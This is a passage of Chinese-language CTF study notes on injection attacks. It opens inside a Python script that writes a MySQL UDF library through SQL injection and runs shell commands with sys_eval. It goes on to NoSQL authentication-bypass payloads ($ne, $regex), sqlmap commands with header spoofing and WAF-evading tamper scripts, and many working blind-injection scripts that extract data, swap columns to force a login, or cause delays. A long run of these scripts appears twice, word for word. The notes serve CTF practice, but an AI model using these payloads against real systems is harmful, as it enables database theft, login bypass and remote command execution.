74C4F42414C5F4F46465345545F5441424C455F005F5F64736F5F68616E646C65005F5F44544F525F454E445F5F005F44594E414D4943007379735F736574007379735F65786563005F5F676D6F6E5F73746172745F5F005F4A765F5265676973746572436C6173736573005F66696E69007379735F6576616C5F6465696E6974006D616C6C6F634040474C4942435F322E322E350073797374656D4040474C4942435F322E322E35007379735F657865635F696E6974007379735F6576616C0066676574734040474C4942435F322E322E35006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974007379735F7365745F696E697400667265654040474C4942435F322E322E35007374726C656E4040474C4942435F322E322E350070636C6F73654040474C4942435F322E322E35006C69625F6D7973716C7564665F7379735F696E666F5F696E6974005F5F6378615F66696E616C697A654040474C4942435F322E322E35007379735F7365745F6465696E6974007379735F6765745F696E6974007379735F6765745F6465696E6974006D656D6370794040474C4942435F322E322E35007379735F6576616C5F696E697400736574656E764040474C4942435F322E322E3500676574656E764040474C4942435F322E322E35007379735F676574005F5F6273735F7374617274006C69625F6D7973716C7564665F7379735F696E666F005F656E64007374726E6370794040474C4942435F322E322E35007379735F657865635F6465696E6974007265616C6C6F634040474C4942435F322E322E35005F656461746100706F70656E4040474C4942435F322E322E35005F696E697400"
for i in range(0,21510, 5000):
end = i + 5000
payload.append(udf[i:end])
p = dict(zip(text, payload))
# zip() 函数用于将可迭代的对象作为参数,将对象中对应的元素打包成一个个元组,然后返回由这些元组组成的列表。
for t in text:
url = base_url+"?id=';select unhex('{}') into dumpfile '/usr/lib/mariadb/plugin/{}.txt'--+&page=1&limit=10".format(p[t], t)
r = requests.get(url)
print(r.status_code)
next_url = base_url+"?id=';select concat(load_file('/usr/lib/mariadb/plugin/a.txt'),load_file('/usr/lib/mariadb/plugin/b.txt'),load_file('/usr/lib/mariadb/plugin/c.txt'),load_file('/usr/lib/mariadb/plugin/d.txt'),load_file('/usr/lib/mariadb/plugin/e.txt')) into dumpfile '/usr/lib/mariadb/plugin/udf.so'--+&page=1&limit=10"
rn = requests.get(next_url)
#udf文件字符太大,为了绕过字符数限制,通过abcde五个文件分割再合并
uaf_url=base_url+"?id=';CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';--+"#导入udf函数
r=requests.get(uaf_url)
nn_url = base_url+"?id=';select sys_eval('cat /flag.*');--+&page=1&limit=10"
rnn = requests.get(nn_url)
print(rnn.text)
nosql注入(MongoDB):
1.可以引起SQL攻击的语句:
1.重言式,永真式。在条件语句中注入代码,使表达式判定结果永真,从而绕过认证或访问机制。比如实际中用$ne操作(不相等)的语法让他们无需相应的凭证即可非法进入系统。
2.联合查询。最常用的用法是绕过认证页面获取数据。比如通过增加永真的表达式利用布尔OR运算符进行攻击,从而导致整个语句判定出错,进行非法的数据获取。
3.JavaScript注入。这是一种新的漏洞,由允许执行数据内容中JavaScript的NoSQL数据库引入的。JavaScript使在数据引擎进行复杂事务和查询成为可能。传递不干净的用户输入到这些查询中可以注入任意JavaScript代码,这会导致非法的数据获取或篡改。
4.背负式查询。在背负式查询中,攻击者通过利用转义特定字符(比如像回车和换行之类的结束符)插入由数据库额外执行的查询,这样就可以执行任意代码了。
5.跨域违规。HTTP REST APIs是NoSQL数据库中的一个流行模块,然而,它们引入了一类新的漏洞,它甚至能让攻击者从其他域攻击数据库。在跨域攻击中,攻击者利用合法用户和他们的网页浏览器执行有害的操作。在本文中,我们将展示此类跨站请求伪造(CSRF)攻击形式的违规行为,在此网站信任的用户浏览器将被利用在NoSQL数据库上执行非法操作。通过把HTML格式的代码注入到有漏洞的网站或者欺骗用户进入到攻击者自己的网站上,攻击者可以在目标数据库上执行post动作,从而破坏数据库。
2.MongoDB条件操作符
$gt : >
$lt : <
$gte: >=
$lte: <=
$ne : !=、<>
$in : in
$nin: not in
$all: all
$or:or
$not: 反匹配(1.3.3及以上版本)
模糊查询用正则式:db.customer.find({'name': {'$regex':'.*s.*'} })
/**
* : 范围查询 { "age" : { "$gte" : 2 , "$lte" : 21}}
* : $ne { "age" : { "$ne" : 23}}
* : $lt { "age" : { "$lt" : 23}}
*/
#实际例子
//查询age = 22的记录
db.userInfo.find({"age": 22});
//相当于:select * from userInfo where age = 22;
//查询age > 22的记录
db.userInfo.find({age: {$gt: 22}});
//相当于:select * from userInfo where age > 22;
3.最常见的绕过方式讲解
username=admin$password[$ne]=''
就变成查询用户用户admin并且密码不等于空,一旦,系统有admin用户,就可以绕过认证。当然,也可以修改user 不等于空字符或者某个字符例如:“1”,[username[$ne]=1$password[$ne]=1]这样就可以百分百绕过认证。
正则也是可以的
username[$regex]=.*&password[$regex]=.*
sqlmap应用:
#初始流程,一般是从库名到表名到字段到数据
# 爆库名
-u --referer "xxx.com" --dbs
# 爆表名
-u --referer "xxx.com" -D database --tables
# 爆列名
-u --referer "xxx.com" -D database -T table --columns
# 爆字段
-u --referer "xxx.com" -D database -T table -C pass --dump
--referer=REFERER sqlmap可以在请求中伪造HTTP中的referer,当--level参数设定为3或者3以上的时候会尝试对referer注入
referrer介绍 :
1. referer 的正确拼法其实是是 referer ,是由拼写早期错误造成的,保持向后兼容
2. referer 是 http 请求 header 的一部分,当浏览器向 web 服务器发送请求时,头信息里有包含 referrer ,它可以看到流量来源并且计算流量
3.有些服务器会读取 referer 来判断域名来源并进行拦截过滤
4. referer 很容易伪造,所以容易绕过
#--data修改请求方式,实战不允许直接--dump拖库
sqlmap -u --data="id=1" --referer="xxx.com" --dump
--data=DATA 通过POST发送数据参数,sqlmap会像检测GET参数一样检测POST的参数。
#使用--method="PUT"时和--headers="Content-Type: text/plain"配合使用,否则按表单提交,put接收不到
sqlmap.py -u "#34; --method=PUT --data="id=1" --referer=xxx.com --headers="Content-Type: text/plain" --dbms=mysql -D database -T table -C pass --dump
#有的web应用程序会在你多次访问错误的请求时屏蔽掉你以后的所有请求,这样在sqlmap进行探测或者注入的时候可能造成错误请求而触发这个策略,导致以后无法进行
#每次请求url/api/index.php之前需要先请求URL/api/getTokn.php
--safe-url 设置在测试目标地址前访问的安全链接,每隔一段时间都会去访问一下
--safe-freq 设置两次注入测试前访问安全链接的次数
#安全访问路径和请求配置用于伪造用户行为身份,列如有些模型会验证你得行为路径,可用此方法伪造行为,在攻击行为中夹杂正常访问行为,列如广告浏览,商品产看等
--cookie 设置HTTP Cookieheader 值
#cookie获得可考了使用XSS攻击和嗅探,劫持类攻击
--tamper 使用给定的脚本篡改注入数据
sqlmap.py -u --referer=xxx.com" --data="id=1" --cookie="s4bfpf9hdimap9vubriu6urdno" --method=PUT -headers="Content-Type:text/plain" --safe-url=#34; --safe-freq=1 --tamper=space2comment.py --dump
tamper框架结构:
#temper框架结构
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (
See the file 'doc/COPYING' for copying permission
"""
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW # 当前脚本调用优先等级
def dependencies(): # 声明当前脚本适用/不适用的范围,可以为空。
pass
def tamper(payload, **kwargs): # 用于篡改Payload、以及请求头的主要函数
return payload
#改进过的space2comment脚本
#!/usr/bin/env python
from lib.core.compat import xrange #xrange()函数返回的是一个生成器,函数形式为xrange(start, stop[, step])
from lib.core.enums import PRIORITY #导入sqlmap中lib\core\enums中的PRIORITY函数, LOWEST = -100,LOWER = -50
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Replaces space character (' ') with comments '/**/' 如果/**/被过滤也可以修改为其他等效的,如%0a,%09
Notes:
* Useful to bypass weak and bespoke web application firewalls
"""
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False #依次为引号,双引号,初始位判断。
for i in xrange(len(payload)):
if not firstspace: #判断是否为初始位,如果是的进入内层if
if payload[i].isspace():
firstspace = True
retVal += "/**/" #如果是空格就转义,并且修改初始位,然后重新判断。
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == " " and not doublequote and not quote:#必须前面没有\和"防止改变原来语句的意愿
retVal += "/**/"
continue
elif payload[i] == "=": #用like替代=
retVal += chr(0x0a)+'like'+chr(0x0a)
continue
retVal += payload[i]
return retVal
''''''''''''''''''''''''''''''''''''
#一次任务驱动型修改代码过程,这里面的是题目变换
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}#base64加密后倒置再base64加密,再倒置
function waf($str){
return preg_match('/ |\*/', $str);
}#过滤*和空格
''''''''''''''''''''''''''''''''''''
#!/usr/bin/env python
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64
__priority__ = PRIORITY.LOW
def tamper(payload, **kwargs): #解密
payload = space2comment(payload)
retVal = ""
if payload:
retVal = base64.b64encode(payload[::-1].encode('utf-8'))# 取从后向前(相反)的元素,和题目中相同(也是相反)
retVal = base64.b64encode(retVal[::-1]).decode('utf-8')# 取从后向前(相反)的元素,和题目中相同(也是相反)
return retVal
def space2comment(payload):
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += chr(0x0a)
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == "*":
retVal += chr(0x31) #本来想试试换成其他的,结果网太卡了,先不试了,个人感觉这里无关紧要
continue
elif payload[i] == "=":
retVal += chr(0x0a)+'like'+chr(0x0a)
continue
elif payload[i] == " " and not doublequote and not quote:
retVal += chr(0x0a)
continue
retVal += payload[i]
return retVal
–os-shell在sqlmap中的使用条件和原理(mysql):
一般利用是通过 sqlmap 写码,然后命令执行
1. secure-file-priv 为空或者为指定路径,并能向网站中写入文件,针对 mysql 版本大于5.1
- 这个参数是用来限制 LOAD DATA, SELECT … OUTFILE, and LOAD_FILE() 传到哪个指定目录的
- 如:当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下
- secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时也最适合利用
- 通过 show global variables like ‘%secure%’; 查看该参数
- 此开关默认为NULL,即不允许导入导出
原理是通过 udf 提权后执行命令
执行sqlmap '''''' --os-shell时sqlmap主要做的5件事:
1、连接Mysql数据库并且获取数据库版本。
2、检测是否为数据库dba。
3、检测sys_exec和sys_eval2个函数是否已经被创建了。
4、上传dll文件到对应目录。
5、用户退出时默认删除创建的sys_exec和sys_eval2个函数。
mysql limit 后方注入点
#首先先看mysql的语法
SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr ...]
[
FROM table_references #table_references 可以表示多张表的组合,指定数据源
[WHERE where_condition]
[GROUP BY {col_name | expr | position} #用来对查询结果做聚类
[ASC | DESC], ... [WITH ROLLUP]] #结果排序
[HAVING where_condition] #类似where进行结果过滤,不会使用优化,执行速度比where慢很多
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}] #限制返回结果
[PROCEDURE procedure_name(argument_list)] #处理结果集中的数据,逐渐废弃
[INTO OUTFILE 'file_name' export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]
]
可以看到在 LIMIT 后面可以跟两个函数, `PROCEDURE 和 INTO , INTO 除非有写入 shell 的权限,否则是无法利用的
基本select流程框架:
执行sqlmap '''''' --os-shell时sqlmap主要做的5件事:
1、连接Mysql数据库并且获取数据库版本。
2、检测是否为数据库dba。
3、检测sys_exec和sys_eval2个函数是否已经被创建了。
4、上传dll文件到对应目录。
5、用户退出时默认删除创建的sys_exec和sys_eval2个函数。
#首先先看mysql的语法
SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr ...]
[
FROM table_references #table_references 可以表示多张表的组合,指定数据源
[WHERE where_condition]
[GROUP BY {col_name | expr | position} #用来对查询结果做聚类
[ASC | DESC], ... [WITH ROLLUP]] #结果排序
[HAVING where_condition] #类似where进行结果过滤,不会使用优化,执行速度比where慢很多
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}] #限制返回结果
[PROCEDURE procedure_name(argument_list)] #处理结果集中的数据,逐渐废弃
[INTO OUTFILE 'file_name' export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]
]
使用PROCEDURE函数进行注入:
extractvalue(目标xml文档,xml路径):对XML文档进行查询的函数
?page=1&limit=7 procedure analyse(extractvalue(1,concat(666,database(),666)),1)
###
updatexml(目标xml文档,xml路径,更新的内容):更新xml文档的函数
?page=1&limit=7 procedure analyse(updatexml(1,concat(0x7e,database(),0x7e),1),1)
###
这些都是报错回显的方式,如果是没有回显的情况可以利用盲注,sleep在其中会过滤,需使用其他延时方式
SQL盲注常用脚本模板:
其实写脚本的几件事就是先找到注入点,再通过标志判断语句是否成功执行,最后将结果拼接。
#1.二分法的时间盲注
import requests
url = "http:/api/v5.php?id=1' and "
result = ''
i = 0
while True:
i = i + 1
head = 32 #对于找flag来说可以优化到45 即-这里
tail = 127 #后面的数字不重要,因为访问到了就重置到下一轮了
while head < tail:
mid = (head + tail) >> 1
payload = f'1=if(ascii(substr((select password from flag_user5 limit 24,1),{i},1))>{mid},sleep(2),0) -- -'
try:
r = requests.get(url + payload, timeout=0.5) #通过设置最大延迟来判断语句是否成功执行
tail = mid
except Exception as e:
head = mid + 1
if head != 32:
result += chr(head)
else:
break
print(result)
#2.双重循环判断整体覆盖盲注
import requests
url = 'http:/select-waf.php'
flagstr = r"{abcdfeghijklmnopqrstuvwxyz-0123456789}" #r表示无转义
res = ""
for i in range(1,46): #46个是因为根据实际flag格式(45个字符)
for j in flagstr:
data = {
'tableName': f"(flag_user)where(substr(pass,{i},1))regexp('{j}')"
}
r = requests.post(url, data=data)
if r.text.find("$user_count = 1;") > 0:
res += j
print(res)
break
#3.左/右连接盲注
import requests
url = "http:/select-waf.php"
flag = 'flag{'
for i in range(45):
if i <= 5: #flag的前几个字母固定了,所以可以适当过滤节省时间
continue
for j in range(45,127):#- 为45,只会出现数字字母且都在-之后
data = {
"tableName": f"flag_user as a right join flag_user as b on (substr(b.pass,{i},1)regexp(char({j})))" #createNum(i)可以替代数字
}#但on里面的语句成立的时候,返回一,也就是没有任何判断
r = requests.post(url,data=data)
if r.text.find("$user_count = 43;")>0: #提前通过左/右连接加上无判断数量得到正常放回时的count数量
if chr(j) != ".":
flag += chr(j)
print(flag.lower())
if chr(j) == "}":
exit(0)
break
#4.检索字符串盲注脚本
import requests
url = "http:/api/"
strs = '{qwertyuiopasdfghjklzxcvbnm-0123456789}'
flag = "flag{"
for i in range(100):
for j in strs:
data = {
"username": "if(load_file('/var/www/html/api/index.php')regexp('{}'),0,1)".format(flag+j),#直接在显示页面中找到flag{,然后一个一个拼接
"password": 9
}
req = requests.post(url=url, data=data)
if "\\u5bc6\\u7801\\u9519\\u8bef" in req.text:
flag += j
print(flag)
if j == "}":
exit(1)
''''''''''''''''''''''''''''''''''''
select if(load_file('/var/www/html/flag.php')like('flag{%'),1,0);
select if(load_file('/var/www/html/flag.php')regexp('flag{'),1,0);
select if(load_file('/var/www/html/flag.php')rlike('flag{'),1,0);
#其等效的字符串检索
''''''''''''''''''''''''''''''''''''
#5.利用账号密码错误返回不同的盲注
import requests
s = "q{wertyuiopasdfghjklzxcvbnm1234567890_-}"
url = "http:/api/"
flag = ''
for i in range(1, 100):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "'or (substr((select group_concat(f1ag) from flag_fl0g),{},1))>'{}'#".format(i, chr(mid))
#截取flag字符和数值比较
data = {
"username": payload,
"password": 1
}
r = requests.post(url, data=data)
print(low, mid, high)
if "\\u5bc6\\u7801\\u9519\\u8bef" in r.text: #当返回密码错误,则证明username中判断为真,拉高low
low = mid + 1
else: #反之拉低high
high = mid
mid = (low + high) // 2
flag += chr(mid)
print(flag)
if mid == 32:
print(flag)
break
'''''''''''' '''''' ''''''
#其他等效操作函数
left(str,index) 从左边第index开始截取
right(str,index) 从右边第index开始截取
substring(str,index) 从左边index开始截取
mid(str,index,ken) 截取str 从index开始,截取len的长度
lpad(str,len,padstr) rpad(str,len,padstr) 在str的左(右)两边填充给定的padstr到指定的长度、
#下面演示用left进行盲注
'''''''''''' '''''' ''''''
#6.利用账号密码错误返回不同的盲注(left)
import requests
import string
def main():
url = "http:/api/"
flagstr = string.digits + string.ascii_lowercase + " {}-_,"
result = ""
for i in range(1, 50):
for j in flagstr:
data = {
"username": "admin' and if(left((select f1ag from flag_flxg),{0})=('{1}'),1,power(9999,99))#".format(
i, result + j),
#因为left是一直截取,所以每次都给它累计然后拼接上去
"password": "123"
}
html = requests.post(url=url, data=data)
print(result, html.text, data["username"])
if r"\u5bc6\u7801\u9519\u8bef" in html.text:
result += j
print(result)
if j == "}":
exit(0)
break
print("result:" + result)
if __name__ == '__main__':
main()
'''''''''''' '''''' ''''''
power绕过原理
admin' and 1=1# //密码错误
admin' and 1=2# //用户名不存在
admin' and if(1=1,1,power(9999,99))# //密码错误
admin' and if(1=2,1,power(9999,99))# //用户名不存在
'''''''''''' '''''' ''''''
#7.累加判断
import requests
url = "http:/api/"
final = ""
stttr = "flag{}-_1234567890qwertyuiopsdhjkzxcvbnm"
for i in range(1,45): //flag总长度为44
for j in stttr:
final += j
payload = f"admin' and if(locate('{final}',(select f1ag from flag_flxg limit 0,1))=1,1,2)='1"
#LOCATE(s1,s),从字符串 s 中获取 s1 的开始位置,有则可以通过用户名检测
data = {
'username': payload,
'password': '1'
}
r = requests.post(url,data=data)
if "密码错误" == r.json()['msg']:
print(final)
else: #当没有绕过用户名检测的时候,就让final重回上一次的结果
final = final[:-1]
'''''''''''' '''''' ''''''
应该还可以用instr等函数,LOCATE、POSITION、INSTR、FIND_IN_SET、IN、LIKE
'''''''''''' '''''' ''''''
#8.密码与id切换爆破注入
import requests
url = "http:/api/"
for i in range(100):
if i == 0:
data = {
'username': '0;alter table flag_user change column `pass` `ppp` varchar(255);alter table flag_user '
'change column `id` `pass` varchar(255);alter table flag_user change column `ppp` `id` '
'varchar(255);',
#利用中间数据'ppp'作为过渡,将ctfshow_user表中的pass和id字段互换,然后用下面的password批量修改(也就是现在的密码)
'password': f'{i}'
}
r = requests.post(url, data=data)
data = {
'username': '0x61646d696e',
'password': f'{i}'
}
r = requests.post(url, data=data)#第二次爆破式登录即可
if "登陆成功" in r.json()['msg']:
print(r.json()['msg'])#登录成功返回页面所有json数据即可
break
#9.benchmark替代sleep延时
import requests
import time
url='http:/api/index.php'
flag=''
for i in range(1,100): #经典的二分法
min=32
max=128
while 1:
j=min+(max-min)//2
if min==j:
flag+=chr(j)
print(flag)
if chr(j)=='}':
exit()
break
payload="if(ascii(substr((select group_concat(flagaabc) from table_flagxccb),{},1))<{},benchmark(1000000,md5(1)),1)".format(i,j)
# payload="1) or if((select group_concat(flagaac) from table_flagxccb) like '{}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)-- -".format(flag+j) ( 笛卡尔表)
'''
BENCHMARK(count,expr)
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0,报告查询的执行时间。只要我们把参数count 设置大点,那么那执行的时间就会变长
'''
data={
'ip':payload,
'debug':0
}
try:
r=requests.post(url=url,data=data,timeout=0.5)
min=j
except:
max=j
time.sleep(0.2)
time.sleep(1)
#每条请求之间间隔一定的时间,以免服务器太卡,提高准确率
可以看到 MD5() 执行比 SHA1() 要快
根据延时产生方式,这里再列举分析一些常用的
#1.二分法的时间盲注
import requests
url = "http:/api/v5.php?id=1' and "
result = ''
i = 0
while True:
i = i + 1
head = 32 #对于找flag来说可以优化到45 即-这里
tail = 127 #后面的数字不重要,因为访问到了就重置到下一轮了
while head < tail:
mid = (head + tail) >> 1
payload = f'1=if(ascii(substr((select password from flag_user5 limit 24,1),{i},1))>{mid},sleep(2),0) -- -'
try:
r = requests.get(url + payload, timeout=0.5) #通过设置最大延迟来判断语句是否成功执行
tail = mid
except Exception as e:
head = mid + 1
if head != 32:
result += chr(head)
else:
break
print(result)
#2.双重循环判断整体覆盖盲注
import requests
url = 'http:/select-waf.php'
flagstr = r"{abcdfeghijklmnopqrstuvwxyz-0123456789}" #r表示无转义
res = ""
for i in range(1,46): #46个是因为根据实际flag格式(45个字符)
for j in flagstr:
data = {
'tableName': f"(flag_user)where(substr(pass,{i},1))regexp('{j}')"
}
r = requests.post(url, data=data)
if r.text.find("$user_count = 1;") > 0:
res += j
print(res)
break
#3.左/右连接盲注
import requests
url = "http:/select-waf.php"
flag = 'flag{'
for i in range(45):
if i <= 5: #flag的前几个字母固定了,所以可以适当过滤节省时间
continue
for j in range(45,127):#- 为45,只会出现数字字母且都在-之后
data = {
"tableName": f"flag_user as a right join flag_user as b on (substr(b.pass,{i},1)regexp(char({j})))" #createNum(i)可以替代数字
}#但on里面的语句成立的时候,返回一,也就是没有任何判断
r = requests.post(url,data=data)
if r.text.find("$user_count = 43;")>0: #提前通过左/右连接加上无判断数量得到正常放回时的count数量
if chr(j) != ".":
flag += chr(j)
print(flag.lower())
if chr(j) == "}":
exit(0)
break
#4.检索字符串盲注脚本
import requests
url = "http:/api/"
strs = '{qwertyuiopasdfghjklzxcvbnm-0123456789}'
flag = "flag{"
for i in range(100):
for j in strs:
data = {
"username": "if(load_file('/var/www/html/api/index.php')regexp('{}'),0,1)".format(flag+j),#直接在显示页面中找到flag{,然后一个一个拼接
"password": 9
}
req = requests.post(url=url, data=data)
if "\\u5bc6\\u7801\\u9519\\u8bef" in req.text:
flag += j
print(flag)
if j == "}":
exit(1)
''''''''''''''''''''''''''''''''''''
select if(load_file('/var/www/html/flag.php')like('flag{%'),1,0);
select if(load_file('/var/www/html/flag.php')regexp('flag{'),1,0);
select if(load_file('/var/www/html/flag.php')rlike('flag{'),1,0);
#其等效的字符串检索
''''''''''''''''''''''''''''''''''''
#5.利用账号密码错误返回不同的盲注
import requests
s = "q{wertyuiopasdfghjklzxcvbnm1234567890_-}"
url = "http:/api/"
flag = ''
for i in range(1, 100):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "'or (substr((select group_concat(f1ag) from flag_fl0g),{},1))>'{}'#".format(i, chr(mid))
#截取flag字符和数值比较
data = {
"username": payload,
"password": 1
}
r = requests.post(url, data=data)
print(low, mid, high)
if "\\u5bc6\\u7801\\u9519\\u8bef" in r.text: #当返回密码错误,则证明username中判断为真,拉高low
low = mid + 1
else: #反之拉低high
high = mid
mid = (low + high) // 2
flag += chr(mid)
print(flag)
if mid == 32:
print(flag)
break
'''''''''''' '''''' ''''''
#其他等效操作函数
left(str,index) 从左边第index开始截取
right(str,index) 从右边第index开始截取
substring(str,index) 从左边index开始截取
mid(str,index,ken) 截取str 从index开始,截取len的长度
lpad(str,len,padstr) rpad(str,len,padstr) 在str的左(右)两边填充给定的padstr到指定的长度、
#下面演示用left进行盲注
'''''''''''' '''''' ''''''
#6.利用账号密码错误返回不同的盲注(left)
import requests
import string
def main():
url = "http:/api/"
flagstr = string.digits + string.ascii_lowercase + " {}-_,"
result = ""
for i in range(1, 50):
for j in flagstr:
data = {
"username": "admin' and if(left((select f1ag from flag_flxg),{0})=('{1}'),1,power(9999,99))#".format(
i, result + j),
#因为left是一直截取,所以每次都给它累计然后拼接上去
"password": "123"
}
html = requests.post(url=url, data=data)
print(result, html.text, data["username"])
if r"\u5bc6\u7801\u9519\u8bef" in html.text:
result += j
print(result)
if j == "}":
exit(0)
break
print("result:" + result)
if __name__ == '__main__':
main()
'''''''''''' '''''' ''''''
power绕过原理
admin' and 1=1# //密码错误
admin' and 1=2# //用户名不存在
admin' and if(1=1,1,power(9999,99))# //密码错误
admin' and if(1=2,1,power(9999,99))# //用户名不存在
'''''''''''' '''''' ''''''
#7.累加判断
import requests
url = "http:/api/"
final = ""
stttr = "flag{}-_1234567890qwertyuiopsdhjkzxcvbnm"
for i in range(1,45): //flag总长度为44
for j in stttr:
final += j
payload = f"admin' and if(locate('{final}',(select f1ag from flag_flxg limit 0,1))=1,1,2)='1"
#LOCATE(s1,s),从字符串 s 中获取 s1 的开始位置,有则可以通过用户名检测
data = {
'username': payload,
'password': '1'
}
r = requests.post(url,data=data)
if "密码错误" == r.json()['msg']:
print(final)
else: #当没有绕过用户名检测的时候,就让final重回上一次的结果
final = final[:-1]
'''''''''''' '''''' ''''''
应该还可以用instr等函数,LOCATE、POSITION、INSTR、FIND_IN_SET、IN、LIKE
'''''''''''' '''''' ''''''
#8.密码与id切换爆破注入
import requests
url = "http:/api/"
for i in range(100):
if i == 0:
data = {
'username': '0;alter table flag_user change column `pass` `ppp` varchar(255);alter table flag_user '
'change column `id` `pass` varchar(255);alter table flag_user change column `ppp` `id` '
'varchar(255);',
#利用中间数据'ppp'作为过渡,将ctfshow_user表中的pass和id字段互换,然后用下面的password批量修改(也就是现在的密码)
'password': f'{i}'
}
r = requests.post(url, data=data)
data = {
'username': '0x61646d696e',
'password': f'{i}'
}
r = requests.post(url, data=data)#第二次爆破式登录即可
if "登陆成功" in r.json()['msg']:
print(r.json()['msg'])#登录成功返回页面所有json数据即可
break
#9.benchmark替代sleep延时
import requests
import time
url='http:/api/index.php'
flag=''
for i in range(1,100): #经典的二分法
min=32
max=128
while 1:
j=min+(max-min)//2
if min==j:
flag+=chr(j)
print(flag)
if chr(j)=='}':
exit()
break
payload="if(ascii(substr((select group_concat(flagaabc) from table_flagxccb),{},1))<{},benchmark(1000000,md5(1)),1)".format(i,j)
# payload="1) or if((select group_concat(flagaac) from table_flagxccb) like '{}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)-- -".format(flag+j) ( 笛卡尔表)
'''
BENCHMARK(count,expr)
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0,报告查询的执行时间。只要我们把参数count 设置大点,那么那执行的时间就会变长
'''
data={
'ip':payload,
'debug':0
}
try:
r=requests.post(url=url,data=data,timeout=0.5)
min=j
except:
max=j
time.sleep(0.2)
time.sleep(1)
#每条请求之间间隔一定的时间,以免服务器太卡,提高准确率
笛卡尔积:所有连接方式都会生成临时笛卡尔积表,笛卡尔积是关系代数里的一个概念,表示两个表中的每一 行 数据任意组合(交叉连接)
(因为连接表是一个很耗时的操作)
AxB=A和B中每个元素的组合所组成的集合,就是连接表
SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
select * from table_name A, table_name B
select * from table_name A, table_name B,table_name C
select count(*) from table_name A, table_name B,table_name C 表可以是同一张表
实际应用中,笛卡尔积本身大多没有什么实际用处,只有在两个表连接时加上限制条件,才会有实际意义
GET_LOCK()加锁
- GET_LOCK(key,timeout) 需要两个连接会话
session A select get_lock(‘test’,1); session B select get_lock(‘test’,5);
直到关闭连接会话结束,锁才会释放。锁是应用程序级别的,在不同的 mysql 会话之间使用,是名字锁,不是锁具体某个表名或字段,具体是锁什么完全交给应用程序。它是一种独占锁,意味着哪个会话持有这个锁,其他会话尝试拿这个锁的时候都会失败。
比如这里尝试 10 次已经有锁的, (1+5)*10=60s 的延时就产生了
rpad或repeat构造长字符串
#加大pattern的计算量,通过repeat的参数可以控制延时长短
select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');
RPAD(str,len,padstr)
用字符串 padstr对 str进行右边填补直至它的长度达到 len个字符长度,然后返回 str。如果 str的长度长于 len,那么它将被截除到 len个字符。
mysql> SELECT RPAD('hi',5,'?'); -> 'hi???'
repeat(str,times) 复制字符串times次
单纯执行延时
concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'
#等同于 sleep(5)
继续承接上面盲注脚本
#10.自定义数字产生函数,利用true编码数字,绕过传参的数字检测
import requests
def generateNum(num):
res = 'true'
if num == 1:
return res
else:
for i in range(num - 1):
res += "+true"
return res
url = "http:/api/"
i = 0
res = ""
while 1:
head = 32
tail = 127
i = i + 1
while head < tail:
mid = (head + tail) >> 1
payload = "select flagasabc from table_flagas"
params = {
"u": f"if(ascii(substr(({payload}),{generateNum(i)},{generateNum(1)}))>{generateNum(mid)},username,'a')"
}
r = requests.get(url, params=params)
# print(r.json()['data'])
if "userAUTO" in r.text:#username就是它
head = mid + 1
else:
tail = mid
if head != 32:
res += chr(head)
else:
break
print(res)
#11.直接通过flag表的规律爆破表名,用处不大
import requests
kk="ab"
url1="http:/api/insert.php"
url2="http:/api/?page=1&limit=100"
for i in kk:
for j in kk:
for m in kk:
for n in kk:
for c in kk:
flag="flag"+i+j+m+n+c
print(flag)
data={
'username':"1',(select(group_concat(flag))from({})));#".format(flag),
'password':1
}
res=requests.post(url=url1,data=data).text
r=requests.get(url=url2).text #一个用来改,一个用来看
print(r)
if "flag{" in r:
print(res)
exit()
